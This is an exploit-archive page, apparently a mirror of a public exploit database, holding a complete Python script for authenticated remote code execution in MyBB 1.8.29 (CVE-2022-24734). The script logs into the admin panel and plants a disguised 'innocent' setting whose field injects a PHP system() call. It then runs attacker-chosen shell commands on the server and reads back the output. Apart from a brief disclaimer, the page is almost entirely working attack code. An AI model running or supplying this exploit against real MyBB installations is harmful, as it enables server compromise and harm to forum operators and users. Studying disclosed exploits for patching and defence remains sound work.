Mybb 1.8.29 mybb 1.8.29 remote code execution (rce) (authenticated) Vulnerability / Exploit 
                
					
						
						   
						 
					    /   
					
					
						
						   
						   
						 
					    /   
					
					
						
						   
						   
						 
					    /   
					
					
						
						   
						   
						 
					 
					
					 
					
					Exploits / Vulnerability Discovered : 2022-05-11  | 
					Type : webapps  | 
					Platform : php  
					 
					
						This exploit / vulnerability Mybb 1.8.29 mybb 1.8.29 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!
					 
					
					[+] Code ... 
					
					# Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-05-08
# Exploit Author: Altelus
# Vendor Homepage: https://mybb.com/
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829
# Version: MyBB 1.8.29 
# Tested on: Linux
# CVE : CVE-2022-24734
# An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting. 
# The user must have a rights to add or update setting. This is tested on MyBB 1.8.29.
# The vulnerability may have existed as early as 1.4.0 since this 
# 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f) 
import requests
import argparse
import random
import string
from base64 import b64decode
from bs4 import BeautifulSoup
def login(username, password):
    data = {
        "username" : username,
        "password" : password,
        "do" : "login"
    }
    login_txt = r_client.post(host + "/admin/index.php", data=data).text
    if "The username and password combination you entered is invalid" in login_txt:
        print("[-] Login failure. Incorrect credentials supplied")
        exit(0)
    print("[+] Login successful!")
def add_settings(cmd, raw_cmd=""):
    config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text
    if "Access Denied" in config_settings_txt:
        print("[-] Supplied user doesn't have the rights to add a setting")
        exit(0)
    print("[*] Adding a malicious settings...")
    soup = BeautifulSoup(config_settings_txt, "lxml")
    my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']
    rand_string = get_rand_string()
    if raw_cmd != "":
        extra = "\" . system('{}') .\"".format(raw_cmd)
    else:
        extra = "\" . system('{} | base64 -w 0') .\"".format(cmd)
    data = {
        "my_post_key" : my_post_key,
        "title" : "An innocent setting",
        "description" : "An innocent description",
        "gid" : 1,
        "disporder" : "",
        "name" : rand_string,
        "type" : "\tphp",
        "extra" : extra,
        "value" : "An innocent value" 
    }
    post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False)
    if post_setting.status_code != 302:
        soup = BeautifulSoup(post_setting.text, "lxml")
        error_txt = soup.find_all("div", {"class" : "error"})[0].text
        print("[-] Exploit didn't work. Reason: '{}'".format(error_txt))
        exit(0)
    print("[+] Malicious post settings accepted!")
    return rand_string
def get_rand_string(length=20):
    
    return ''.join(random.choice(string.ascii_letters) for i in range(length))
def get_cmd_result(ident_string, raw_cmd=""):
    conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text
    soup = BeautifulSoup(conf_settings_list, "lxml")
    row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0]
    cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text
    if raw_cmd == "":
        cmd_result = b64decode(cmd_result[2:]).decode()
    print("[+] Result: {}".format(str(cmd_result)))
parser = argparse.ArgumentParser()
parser.add_argument('--username', required=True, help="MyBB Admin CP username")
parser.add_argument('--password', required=True, help="MyBB Admin CP password")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--cmd', required=False, help="Command to run")
parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()")
args = parser.parse_args()
username = args.username
password = args.password
host = args.host
cmd = "id" if args.cmd == None else args.cmd
raw_cmd = "" if args.raw_cmd == None else args.raw_cmd
r_client = requests.Session()
login(username, password)
ident_string = add_settings(cmd, raw_cmd=raw_cmd)
get_cmd_result(ident_string, raw_cmd=raw_cmd)